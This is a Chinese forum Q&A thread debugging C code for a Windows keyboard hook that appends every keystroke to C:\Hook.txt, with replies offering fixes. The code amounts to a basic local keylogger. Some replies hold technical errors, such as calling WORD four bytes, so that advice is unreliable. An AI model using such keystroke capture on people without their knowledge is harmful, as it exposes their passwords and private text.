char ch;
if (((DWORD)lParam&0x40000000)&&(HC_ACTION==nCode))   //这个为什么要和0x40000000与呀?
{
if ((VK_SPACE==wParam)||(VK_RETURN==wParam)||(wParam>=0x2f)&&(wParam<=0x100))//2f到100是
                                                                                         //所有键盘的虚拟码么?
{
fl=fopen("C:\\Hook.txt","a+");
if (VK_RETURN==wParam)
{
ch='\n';
fwrite(&ch,1,1,fl);
}
else
{
BYTE KS[256];
GetKeyboardState(KS);
                                     WORD w;
UINT scan;
ToAscii(wParam,scan,KS,&w,0);  //发现在记事本里 记录下的全是 烫烫烫烫烫
ch=char(w);                    //是不是因为没有转成Unicode的形式?
fwrite(&ch,1,1,fl);            //要是的话 用那个函数搞定?
}
fclose(fl);
}
}
LRESULT rtn=CallNextHookEx(hhk,nCode,wParam,lParam);
return rtn;谢谢啦  小弟新手 望老大们不吝赐教!!

解决方案 »

  1.   

    if (((DWORD)lParam&0x40000000)&&(HC_ACTION==nCode))   //这个为什么要和0x40000000与呀?
    ====================
    这是因为键盘一次按键实际上两次事件,一个为按下,一个为弹起,如果不加上面的和0x40000000与的话,那么你按一次键,键盘处理函数会被调用两次。
    具体的为什么和0x40000000与,而不是与别的数与,你自己去看MSDN中的WM_KEYDOWN等消息的lParam的参数说明,这个参数中有某个位表示是按下还是弹起。
      

  2.   

    ch=char(w);                    //是不是因为没有转成Unicode的形式?
    =========
    这个肯定不行,w是WORD型的,4个字节,而char才一个字节。强制转化后肯定出问题。
      

  3.   

    fwrite(&ch,1,1,fl);            //要是的话 用那个函数搞定?
    =========
    这里也有问题,你只写了一个char进去了,明显有问题。
      

  4.   

     ToAscii(wParam,scan,KS,&w,0);返回值得到什么呢?
      

  5.   

    0 The specified virtual key has no translation for the current state of the keyboard. 怎么可能没有翻译呢?
      

  6.   

    别用ToAscii了吧,直接将wParam写进去吧,改成:
    LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam); if(nCode==HC_ACTION) { if(lParam & 0x80000000) { fl=fopen("C:\\Hook.txt","a+");
                if (VK_RETURN==wParam)
                {
                    ch='\n';
                    fwrite(&ch,1,1,fl);
                }
                else
                {
                   char ch[1]; 
                   ch[0]=wParam;
                  fwrite(&ch,1,1,fl);            
                }
                fclose(fl);} } return Result; }